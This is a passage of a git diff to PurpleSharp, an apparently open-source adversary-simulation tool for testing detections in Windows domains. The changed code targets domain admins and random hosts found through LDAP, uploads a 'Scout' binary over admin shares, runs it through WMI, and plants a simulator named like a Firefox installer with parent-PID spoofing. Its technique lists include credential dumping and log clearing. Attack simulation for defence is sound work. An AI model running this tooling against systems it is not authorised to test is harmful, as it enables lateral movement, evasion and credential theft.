Targets.GetRandomUsernames(playbook_task.user_target_total, new Random()); break; case 4: logger.TimestampInfo("Targeting administrative accounts (adminCount=1) "); - targetusers = Ldap.GetADAdmins(nuser); + targetusers = Ldap.GetADAdmins(playbook_task.user_target_total, logger); + logger.TimestampInfo(String.Format("Obtained {0} user records", targetusers.Count)); break; case 5: logger.TimestampInfo("Targeting domain admins"); - targetusers = Ldap.GetDomainAdmins(); + targetusers = Ldap.GetDomainAdmins(logger); + logger.TimestampInfo(String.Format("Obtained {0} user records", targetusers.Count)); break; - + case 6: - targetusers = Targets.GetRandomUsernames(nuser); + context = new PrincipalContext(ContextType.Domain); + dc = context.ConnectedServer; + logger.TimestampInfo("Targeting disabled users"); + targetusers = Ldap.GetADUsers(playbook_task.user_target_total, logger, dc, false); + logger.TimestampInfo(String.Format("Obtained {0} user records", targetusers.Count)); break; default: @@ -174,7 +185,7 @@ public static List GetUserTargets(int usertype, int nuser, Lib.Logger logg return targetusers; } - public static List GetHostTargets(int servertype, int nhosts, Lib.Logger logger) + public static List GetHostTargets_old(int servertype, int nhosts, Lib.Logger logger) { List targethosts = new List(); /* @@ -183,19 +194,15 @@ public static List GetHostTargets(int servertype, int nhosts, Lib.Logg case 1: targethosts = GetDomainNeighborTargets(nhosts); break; - case 2: targethosts = GetDomainRandomTargets(nhosts); break; - case 3: targethosts = GetServerRangeTargets(nhosts); break; - case 4: targethosts = GetNetworkNeighborTargets(nhosts); break; - default: return targethosts; } @@ -205,5 +212,60 @@ public static List GetHostTargets(int servertype, int nhosts, Lib.Logg } + public static List GetHostTargets(PlaybookTask playbook_task, Logger logger) + { + List host_targets = new List(); + Computer host_target = new Computer(); + bool isValidIp; + + switch (playbook_task.host_target_type) + { + case 1: + IPAddress ipAddress = null; + isValidIp = IPAddress.TryParse(playbook_task.host_targets[0], out ipAddress); + if (isValidIp) host_target = new Computer("", playbook_task.host_targets[0]); + else host_target = new Computer(playbook_task.host_targets[0], Networking.ResolveHostname(playbook_task.host_targets[0]).ToString()); + logger.TimestampInfo(String.Format("Using {0} {1} as the target", host_target.ComputerName, host_target.IPv4)); + host_targets.Add(host_target); + + break; + + case 2: + logger.TimestampInfo("Targeting a random domain host target"); + host_targets = GetDomainNeighborTargets(playbook_task.host_target_total, logger); + logger.TimestampInfo(String.Format("Obtained {0} host records", host_targets.Count)); + var random = new Random(); + int index = random.Next(host_targets.Count); + host_target = host_targets[index]; + logger.TimestampInfo(String.Format("Randomly picked {0} {1} as the target", host_target.ComputerName, host_target.IPv4)); + host_targets.Clear(); + host_targets.Add(host_target); + break; + + case 3: + //TODO: This option is not needed, It can be part of case 1. + logger.TimestampInfo(String.Format("Targeting {0} hosts defined in playbook", playbook_task.host_targets.Length)); + for (int i = 0; i < playbook_task.host_targets.Length; i++) + { + isValidIp = IPAddress.TryParse(playbook_task.host_targets[i], out ipAddress); + if (isValidIp) host_target = new Computer("", playbook_task.host_targets[i]); + else host_target = new Computer(playbook_task.host_targets[i], Networking.ResolveHostname(playbook_task.host_targets[i]).ToString()); + host_targets.Add(host_target); + } + break; + + case 4: + logger.TimestampInfo("Targeting random domain hosts"); + host_targets = GetDomainNeighborTargets(playbook_task.host_target_total, logger); + logger.TimestampInfo(String.Format("Obtained {0} host records", host_targets.Count)); + break; + + default: + return host_targets; + } + return host_targets; + + } + } } diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index c95e79e..1690add 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -1,12 +1,12 @@ -using System; +using Newtonsoft.Json; +using PurpleSharp.Lib; +using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading; -using PurpleSharp.Lib; - namespace PurpleSharp { @@ -29,12 +29,9 @@ ____ __ _____ __ Console.WriteLine("\t\t\tby Mauricio Velazco (@mvelazco)"); Console.WriteLine(); Console.WriteLine("\t\t\thttps://github.com/mvelazc0/PurpleSharp"); - Console.WriteLine("\t\t\thttps://purplesharp.readthedocs.io"); + Console.WriteLine("\t\t\thttps://www.purplesharp.com"); Console.WriteLine(); } - - - public static void Main(string[] args) { bool cleanup, opsec, verbose, scoutservice, simservice, newchild, scout, remote, navigator; @@ -46,6 +43,7 @@ public static void Main(string[] args) opsec = cleanup = true; verbose = scoutservice = simservice = newchild = scout = remote = navigator = false; techniques = rhost = domain = ruser = rpwd = dc = pb_file = nav_action = navfile = scout_action = ""; + CommandlineParameters config_params=new CommandlineParameters(); scoutfpath = "C:\\Windows\\Temp\\Scout.exe"; simrpath = "Downloads\\Firefox_Installer.exe"; @@ -59,17 +57,14 @@ public static void Main(string[] args) string[] privelege_escalation = new string[] { "T1053.005", "T1543.003", "T1547.001", "T1546.003", "T1055.002", "T1055.004" }; string[] defense_evasion = new string[] { "T1218.010", "T1218.005", "T1218.003", "T1218.011", "T1070.001", "T1220", "T1055.002", "T1055.003", "T1055.004", "T1140", "T1197", "T1218.009", "T1218.004", "T1134.004" }; string[] credential_access = new string[] { "T1110.003", "T1558.003", "T1003.001" }; - string[] discovery = new string[] { "T1135", "T1046", "T1087.001", "T1087.002", "T1007", "T1033", "T1049", "T1016", "T1083", "T1482", "T1201","T1069.001", "T1069.002", "T1012", "T1518.001", "T1082", "T1124" }; + string[] discovery = new string[] { "T1135", "T1046", "T1087.001", "T1087.002", "T1007", "T1033", "T1049", "T1016", "T1018", "T1083", "T1482", "T1201","T1069.001", "T1069.002", "T1012", "T1518.001", "T1082", "T1124" }; string[] lateral_movement = new string[] { "T1021", "T1021.006", "T1047" }; - string[] supported_techniques = execution.Union(persistence).Union(privelege_escalation).Union(defense_evasion).Union(credential_access).Union(discovery).Union(lateral_movement).ToArray(); - if (args.Length == 0) { Usage(); return; - } for (int i = 0; i < args.Length; i++) @@ -159,6 +154,7 @@ public static void Main(string[] args) } + config_params = new CommandlineParameters(scoutfpath, simrpath, rhost, ruser, rpwd, domain, techniques, dc, scout_action, scout_np, simulator_np, log, variation, pbsleep, tsleep, cleanup, opsec, verbose); //// Handling Internal Parameters //// if (newchild) @@ -177,19 +173,20 @@ public static void Main(string[] args) } if (scoutservice) { - NamedPipes.RunScoutService(scout_np, simulator_np, log); + //NamedPipes.RunScoutService(scout_np, simulator_np, log); + NamedPipes.RunScoutServiceSerialized(scout_np, simulator_np, log); return; } if (simservice) { - string[] options = NamedPipes.RunSimulationService(simulator_np, log); - ExecuteTechniques(options[0], Int32.Parse(options[1]), nusers, nhosts, Int32.Parse(options[2]), Int32.Parse(options[3]), log, bool.Parse(options[4])); + SimulationPlaybook playbook = NamedPipes.RunSimulationServiceSerialized(simulator_np, log); + ExecutePlaybook(playbook, log); return; } //// Handling User Parameters //// - //ATT&CK Navigator options + //ATT&CK Navigator optionsE if (navigator) { @@ -206,7 +203,7 @@ public static void Main(string[] args) catch { Console.WriteLine("[!] Error generating JSON layer..."); - Console.WriteLine("[!] Exitting..."); + Console.WriteLine("[!] Exiting..."); return; } } @@ -226,7 +223,7 @@ public static void Main(string[] args) else { Console.WriteLine("[!] Didnt recognize parameter..."); - Console.WriteLine("[!] Exitting..."); + Console.WriteLine("[!] Exiting..."); return; } @@ -244,12 +241,14 @@ public static void Main(string[] args) { Console.Write("Password for {0}\\{1}: ", domain, ruser); rpwd = Utils.GetPassword(); + config_params.remote_password = rpwd; Console.WriteLine(); } if (!rhost.Equals("random")) { - Scout(rhost, domain, ruser, rpwd, scoutfpath, log, scout_action, scout_np, verbose); + RunScoutEnumeration(config_params); + //Scout(rhost, domain, ruser, rpwd, scoutfpath, log, scout_action, scout_np, verbose); return; } else if (!dc.Equals("")) @@ -263,7 +262,9 @@ public static void Main(string[] args) var random = new Random(); int index = random.Next(targets.Count); Console.WriteLine("[+] Picked Random host for simulation: " + targets[index].Fqdn); - Scout(targets[index].ComputerName, domain, ruser, rpwd, scoutfpath, log, scout_action, scout_np, verbose); + config_params.remote_host = targets[index].ComputerName; + RunScoutEnumeration(config_params); + //Scout(targets[index].ComputerName, domain, ruser, rpwd, scoutfpath, log, scout_action, scout_np, verbose); return; } else @@ -299,35 +300,53 @@ public static void Main(string[] args) { if (engagement.type.Equals("local")) { - - string results=""; + logger.TimestampInfo(String.Format("PurpleSharp will execute up to {0} playbook(s) locally", engagement.playbooks.Count)); + //Console.WriteLine("[+] PurpleSharp will execute up to {0} playbook(s) locally", engagement.playbooks.Count); + SimulationPlaybook lastPlaybook = engagement.playbooks.Last(); + string results =""; foreach (SimulationPlaybook playbook in engagement.playbooks) { - SimulationPlaybookResult playbookResults = new SimulationPlaybookResult(); - playbookResults.taskresults = new List(); - playbookResults.name = playbook.name; - playbookResults.host = playbook.host; - logger.TimestampInfo("Running Playbook " + playbook.name); - PlaybookTask lastTask = playbook.tasks.Last(); - foreach (PlaybookTask task in playbook.tasks) + if (playbook.enabled) { - ExecuteTechnique(task.technique, task.variation, 10, nhosts, tsleep, log, cleanup); - if (playbook.pbsleep > 0 && task != lastTask) Thread.Sleep(1000 * playbook.pbsleep); + SimulationPlaybookResult playbookResults = new SimulationPlaybookResult(); + playbookResults.taskresults = new List(); + playbookResults.name = playbook.name; + playbookResults.host = playbook.remote_host; + logger.TimestampInfo("Running Playbook " + playbook.name); + PlaybookTask lastTask = playbook.tasks.Last(); + foreach (PlaybookTask task in playbook.tasks) + { + ExecutePlaybookTask(task, log); + if (playbook.playbook_sleep > 0 && task != lastTask) + { + logger.TimestampInfo(String.Format("Sleeping {0} seconds until next task...", playbook.playbook_sleep)); + Thread.Sleep(1000 * playbook.playbook_sleep); + } + } + logger.TimestampInfo("Playbook Finished"); + if (engagement.sleep > 0 && !playbook.Equals(lastPlaybook)) + { + Console.WriteLine(); + logger.TimestampInfo(String.Format("Sleeping {0} seconds until next playbook...", engagement.sleep)); + Thread.Sleep(1000 * engagement.sleep ); + } + } - logger.TimestampInfo("Playbook Finished"); } - results = System.IO.File.ReadAllText(log); + + logger.TimestampInfo("Writting JSON results..."); + results = File.ReadAllText(log); string output_file = pb_file.Replace(".json", "") + "_results.json"; SimulationExerciseResult simulationresults = Json.GetSimulationExerciseResult(results); Json.WriteJsonSimulationResults(simulationresults, output_file); - + logger.TimestampInfo("DONE. Open " + output_file); } else if (engagement.type.Equals("remote")) { Console.Write("Submit Password for {0}\\{1}: ", engagement.domain, engagement.username); - string pass = Utils.GetPassword(); - Console.WriteLine("[+] PurpleSharp will execute {0} playbook(s)", engagement.playbooks.Count); + engagement.password = Utils.GetPassword(); + logger.TimestampInfo(String.Format("PurpleSharp will executeup to {0} playbook(s) remotely", engagement.playbooks.Count)); SimulationExerciseResult engagementResults = new SimulationExerciseResult(); engagementResults.playbookresults = new List(); @@ -335,73 +354,78 @@ public static void Main(string[] args) foreach (SimulationPlaybook playbook in engagement.playbooks) { - SimulationPlaybookResult playbookResults = new SimulationPlaybookResult(); - playbookResults.taskresults = new List(); - playbookResults.name = playbook.name; - playbookResults.host = playbook.host; - Console.WriteLine("[+] Running Playbook {0}", playbook.name); - - PlaybookTask lastTask = playbook.tasks.Last(); - List techs = new List(); - foreach (PlaybookTask task in playbook.tasks) + if (playbook.enabled) { - techs.Add(task.technique); - } - string techs2 = String.Join(",", techs); - if (playbook.host.Equals("random")) - { - List targets = Ldap.GetADComputers(10, logger, engagement.dc, engagement.username, pass); - if (targets.Count > 0) + SimulationPlaybookResult playbookResults = new SimulationPlaybookResult(); + playbookResults.taskresults = new List(); + playbookResults.name = playbook.name; + playbookResults.host = playbook.remote_host; + logger.TimestampInfo(String.Format("Running Playbook {0}", playbook.name)); + + PlaybookTask lastTask = playbook.tasks.Last(); + List techs = new List(); + foreach (PlaybookTask task in playbook.tasks) { - Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count); - var random = new Random(); - int index = random.Next(targets.Count); - Console.WriteLine("[+] Picked random host for simulation: " + targets[index].Fqdn); - Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, targets[index].Fqdn); - playbookResults = ExecuteRemoteTechniquesJson(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); - playbookResults.name = playbook.name; + techs.Add(task.technique_id); } - else Console.WriteLine("[!] Could not obtain targets for the simulation"); + string techs2 = String.Join(",", techs); + if (playbook.remote_host.Equals("random")) + { + List targets = Ldap.GetADComputers(10, logger, engagement.domain_controller, engagement.username, engagement.password); + if (targets.Count > 0) + { + Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count); + var random = new Random(); + int index = random.Next(targets.Count); + logger.TimestampInfo(String.Format("Picked random host for simulation {0}",targets[index].Fqdn)); + logger.TimestampInfo(String.Format("Executing techniques {0} against {1}", techs2, targets[index].Fqdn)); + playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, simulator_np, log); + //playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass, scout_np, playbook, log, false); + if (playbookResults == null) continue; + playbookResults.name = playbook.name; + } + else logger.TimestampInfo("Could not obtain targets for the simulation"); + } + else + { + logger.TimestampInfo(String.Format("Executing techniques {0} against {1}", techs2, playbook.remote_host)); + playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, simulator_np, log); + //playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass,scout_np, playbook, log, false); + if (playbookResults == null) continue; + playbookResults.name = playbook.name; + } + if (engagement.sleep > 0 && !playbook.Equals(lastPlaybook)) + { + Console.WriteLine(); + logger.TimestampInfo(String.Format("Sleeping {0} minutes until next playbook...", engagement.sleep)); + Thread.Sleep(1000 * engagement.sleep * 60); + } + engagementResults.playbookresults.Add(playbookResults); } - else - { - Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.host); - playbookResults = ExecuteRemoteTechniquesJson(playbook.host, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); - playbookResults.name = playbook.name; - } - if (engagement.sleep > 0 && !playbook.Equals(lastPlaybook)) - { - Console.WriteLine(); - Console.WriteLine("[+] Sleeping {0} minutes until next playbook...", engagement.sleep); - Thread.Sleep(1000 * engagement.sleep * 60); - } - engagementResults.playbookresults.Add(playbookResults); } - Console.WriteLine("Writting JSON results..."); + logger.TimestampInfo("Writting JSON results..."); string output_file = pb_file.Replace(".json", "") + "_results.json"; Json.WriteJsonSimulationResults(engagementResults, output_file); - Console.WriteLine("DONE. Open " + output_file); + logger.TimestampInfo("DONE. Open " + output_file); Console.WriteLine(); return; } - } else { - Console.WriteLine("[!] Could not parse JSON input."); - Console.WriteLine("[*] Exiting"); + logger.TimestampInfo("Could not parse JSON input."); + logger.TimestampInfo("Exiting"); return; - } - + } } //Remote simulations with command line parameters if (remote) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); if (!rhost.Equals("") && !domain.Equals("") && !ruser.Equals("") && !techniques.Equals("")) { @@ -409,11 +433,13 @@ public static void Main(string[] args) { Console.Write("Password for {0}\\{1}: ", domain, ruser); rpwd = Utils.GetPassword(); + config_params.remote_password = rpwd; Console.WriteLine(); } if (!rhost.Equals("random")) { - ExecuteRemoteTechniques(rhost, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); + ExecuteRemoteTechniquesSerialized(config_params); + //ExecuteRemoteTechniquesSerialized(rhost, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); return; } else if (!dc.Equals("")) @@ -423,31 +449,33 @@ public static void Main(string[] args) targets = Ldap.GetADComputers(10, logger, dc, ruser, rpwd); if (targets.Count > 0) { - Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count); + logger.TimestampInfo(String.Format("Obtained {0} possible targets.", targets.Count)); var random = new Random(); int index = random.Next(targets.Count); - Console.WriteLine("[+] Picked Random host for simulation: " + targets[index].Fqdn); - ExecuteRemoteTechniques(targets[index].Fqdn, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); + logger.TimestampInfo(String.Format("Picked Random host for simulation: " + targets[index].Fqdn)); + config_params.remote_host = targets[index].Fqdn; + ExecuteRemoteTechniquesSerialized(config_params); + //ExecuteRemoteTechniquesSerialized(targets[index].Fqdn, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); return; } else { - Console.WriteLine("[!] Could not obtain targets for the simulation"); + logger.TimestampInfo("Could not obtain targets for the simulation"); return; } } else { - Console.WriteLine("[*] Missing dc :( "); - Console.WriteLine("[*] Exiting"); + logger.TimestampInfo("Missing dc!"); + logger.TimestampInfo("Exiting"); return; } } else { - Console.WriteLine("[*] Missing parameters :( "); - Console.WriteLine("[*] Exiting"); + logger.TimestampInfo("Missing parameters :( "); + logger.TimestampInfo("Exiting"); return; } } @@ -455,81 +483,66 @@ public static void Main(string[] args) //Local simulations with command line parameters else if (!techniques.Equals("")) { - ExecuteTechniques(techniques, variation, nusers, nhosts, pbsleep, tsleep, log, cleanup); + SimulationPlaybook playbook = new SimulationPlaybook(config_params.playbook_sleep); + playbook.tasks = new List(); + if (techniques.Contains(",")) + { + string[] techs = techniques.Split(','); + for (int i = 0; i < techs.Length; i++) + { + PlaybookTask task = new PlaybookTask(techs[i], config_params.variation, config_params.task_sleep, config_params.cleanup); + playbook.tasks.Add(task); + } + } + else + { + PlaybookTask task = new PlaybookTask(techniques, config_params.variation, config_params.task_sleep, config_params.cleanup); + playbook.tasks.Add(task); + } + + ExecutePlaybook(playbook, log); + + //ExecutePlaybookOld(techniques, variation, nusers, nhosts, pbsleep, tsleep, log, cleanup); } } - - public static void Scout(string rhost, string domain, string ruser, string rpwd, string scoutfpath, string log, string scout_action, string scout_np, bool verbose) + public static void RunScoutEnumeration(CommandlineParameters cmd_params) { List actions = new List() { "all", "wef", "pws", "ps", "svcs", "auditpol", "cmdline" }; + string result = ""; - if (!actions.Contains(scout_action)) + if (!actions.Contains(cmd_params.scout_action)) { Console.WriteLine("[*] Not supported."); Console.WriteLine("[*] Exiting"); return; } - if (rpwd == "") - { - Console.Write("Password for {0}\\{1}: ", domain, ruser); - rpwd = Utils.GetPassword(); - Console.WriteLine(); - } string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; - int index = scoutfpath.LastIndexOf(@"\"); - string scoutFolder = scoutfpath.Substring(0, index + 1); + int index = cmd_params.scout_full_path.LastIndexOf(@"\"); + string scoutFolder = cmd_params.scout_full_path.Substring(0, index + 1); string args = "/o"; - Console.WriteLine("[+] Uploading Scout to {0} on {1}", scoutfpath, rhost); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); + Console.WriteLine("[+] Uploading Scout to {0} on {1}", cmd_params.scout_full_path, cmd_params.remote_host); + RemoteLauncher.upload(uploadPath, cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); Console.WriteLine("[+] Executing the Scout via WMI ..."); - RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); + RemoteLauncher.wmiexec(cmd_params.remote_host, cmd_params.scout_full_path, args, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password); Console.WriteLine("[+] Connecting to the Scout ..."); - string result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "SYN"); - if (result.Equals("SYN/ACK")) + SimulationRequest sim_request = new SimulationRequest("SCT", cmd_params.scout_action); + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); + result = NamedPipes.RunClientSerialized(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.scout_namepipe, bytes_sim_rqeuest); + SimulationResponse sim_response = JsonConvert.DeserializeObject(result); + + if (sim_response.header.Equals("SYN/ACK")) { Console.WriteLine("[+] OK"); - string results; - - if (scout_action.Equals("all")) - { - string temp; - - temp = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "wef"); - results = Encoding.UTF8.GetString(Convert.FromBase64String(temp)); - - temp = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "pws"); - results += Encoding.UTF8.GetString(Convert.FromBase64String(temp)); - - temp = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cmdline"); - results += Encoding.UTF8.GetString(Convert.FromBase64String(temp)); - - temp = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "ps"); - results += Encoding.UTF8.GetString(Convert.FromBase64String(temp)); - - temp = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "svcs"); - results += Encoding.UTF8.GetString(Convert.FromBase64String(temp)); - - temp = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "auditpol"); - results += Encoding.UTF8.GetString(Convert.FromBase64String(temp)); - - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); - - } - else - { - results = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, scout_action); - results = Encoding.UTF8.GetString(Convert.FromBase64String(results)); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); - } - if (verbose) + string results = Encoding.UTF8.GetString(Convert.FromBase64String(sim_response.scout_response.results)); + if (cmd_params.verbose) { Console.WriteLine("[+] Grabbing the Scout output..."); System.Threading.Thread.Sleep(1000); - string sresults = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); + string sresults = RemoteLauncher.readFile(cmd_params.remote_host, scoutFolder + cmd_params.log_filename, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); Console.WriteLine("[+] Results:"); Console.WriteLine(); Console.WriteLine(sresults); @@ -539,100 +552,101 @@ public static void Scout(string rhost, string domain, string ruser, string rpwd, Console.WriteLine(results); Console.WriteLine(); Console.WriteLine("[+] Cleaning up..."); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + cmd_params.scout_full_path.Replace(":", "$")); + RemoteLauncher.delete(cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + (scoutFolder + cmd_params.log_filename).Replace(":", "$")); + RemoteLauncher.delete(scoutFolder + cmd_params.log_filename, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); } } - - public static void ExecuteRemoteTechniques(string rhost, string domain, string ruser, string rpwd, string techniques, int variation, int pbsleep, int tsleep, string scoutfpath, string scout_np, string simrpath, string simulator_np, string log, bool opsec, bool verbose, bool cleanup) + public static void ExecuteRemoteTechniquesSerialized(CommandlineParameters cmd_params) { // techniques that need to be executed from a high integrity process string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; - if (rpwd == "") + if (cmd_params.remote_password == "") { - Console.Write("Password for {0}\\{1}: ", domain, ruser); - rpwd = Utils.GetPassword(); + Console.Write("Password for {0}\\{1}: ", cmd_params.domain, cmd_params.remote_user); + cmd_params.remote_password = Utils.GetPassword(); Console.WriteLine(); } string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; - int index = scoutfpath.LastIndexOf(@"\"); - string scoutFolder = scoutfpath.Substring(0, index + 1); + int index = cmd_params.scout_full_path.LastIndexOf(@"\"); + string scoutFolder = cmd_params.scout_full_path.Substring(0, index + 1); - System.Threading.Thread.Sleep(3000); + Thread.Sleep(3000); - if (opsec) + if (cmd_params.opsec) { string result = ""; string args = "/o"; - Console.WriteLine("[+] Uploading and executing the Scout on {0} ", @"\\" + rhost + @"\" + scoutfpath.Replace(":","$")); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); + Console.WriteLine("[+] Uploading and executing the Scout on {0} ", @"\\" + cmd_params.remote_host + @"\" + cmd_params.scout_full_path.Replace(":", "$")); + RemoteLauncher.upload(uploadPath, cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + RemoteLauncher.wmiexec(cmd_params.remote_host, cmd_params.scout_full_path, args, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password); Console.WriteLine("[+] Connecting to the Scout ..."); - result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "SYN"); - if (result.Equals("SYN/ACK")) + SimulationPlaybook playbook = new SimulationPlaybook(); + List tasks = new List(); + if (cmd_params.techniques.Contains(",")) { - Console.WriteLine("[+] OK"); - - if (privileged_techniques.Contains(techniques.ToUpper())) result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:privileged"); - else result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:regular"); - - string[] payload = result.Split(','); - string duser = payload[0]; + string[] techs = cmd_params.techniques.Split(','); + for (int i = 0; i < techs.Length; i++) + { + tasks.Add(new PlaybookTask(techs[i], cmd_params.variation, cmd_params.task_sleep, cmd_params.cleanup)); + } + } + else + { + tasks.Add(new PlaybookTask(cmd_params.techniques, cmd_params.variation, cmd_params.task_sleep, cmd_params.cleanup)); + } + playbook.tasks = tasks; + playbook.simulator_relative_path = cmd_params.simulator_relative_path; + playbook.playbook_sleep = cmd_params.playbook_sleep; + SimulationRequest sim_request = new SimulationRequest("SYN", "regular", playbook); + if (privileged_techniques.Contains(cmd_params.techniques.ToUpper())) sim_request.recon_type = "privileged"; + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); + result = NamedPipes.RunClientSerialized(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.scout_namepipe, bytes_sim_rqeuest); + SimulationResponse sim_response = JsonConvert.DeserializeObject(result); + if (sim_response.header.Equals("SYN/ACK")) + { + Console.WriteLine("[+] OK"); + string duser = sim_response.recon_response.user; if (duser == "") { - Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); + Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + cmd_params.remote_host + "?"); + sim_request = new SimulationRequest("FIN"); + result = NamedPipes.RunClientSerialized(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.scout_full_path, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); Thread.Sleep(1000); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - Console.WriteLine("[!] Exitting."); + RemoteLauncher.delete(cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + RemoteLauncher.delete(scoutFolder + cmd_params.log_filename, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + Console.WriteLine("[!] Exiting."); return; } else { string user = duser.Split('\\')[1]; - //Console.WriteLine("[+] Sending simulator binary..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "simrpath:" + simrpath); - //Console.WriteLine("[+] Sending technique ..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "technique:" + techniques); - //Console.WriteLine("[+] Sending variation..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "variation:" + variation.ToString()); - //Console.WriteLine("[+] Sending opsec techqniue..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "opsec:" + "ppid"); - //Console.WriteLine("[+] Sending sleep..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "pbsleep:" + pbsleep.ToString()); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "tsleep:" + tsleep.ToString()); - if (cleanup) NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cleanup:True"); - else NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cleanup:False"); - - Console.WriteLine("[!] Recon -> " + String.Format("Identified logged user: {0}", duser)); - string simfpath = "C:\\Users\\" + user + "\\" + simrpath; - int index2 = simrpath.LastIndexOf(@"\"); - string simrfolder = simrpath.Substring(0, index2 + 1); + string simfpath = "C:\\Users\\" + user + "\\" + cmd_params.simulator_relative_path; + int index2 = cmd_params.simulator_relative_path.LastIndexOf(@"\"); + string simrfolder = cmd_params.simulator_relative_path.Substring(0, index2 + 1); string simfolder = "C:\\Users\\" + user + "\\" + simrfolder; - Console.WriteLine("[+] Uploading Simulator to " + @"\\" + rhost + @"\" + simfpath.Replace(":", "$")); - RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); + Console.WriteLine("[+] Uploading Simulator to " + @"\\" + cmd_params.remote_host + @"\" + simfpath.Replace(":", "$")); + RemoteLauncher.upload(uploadPath, simfpath, cmd_params.remote_host, cmd_params.remote_user, 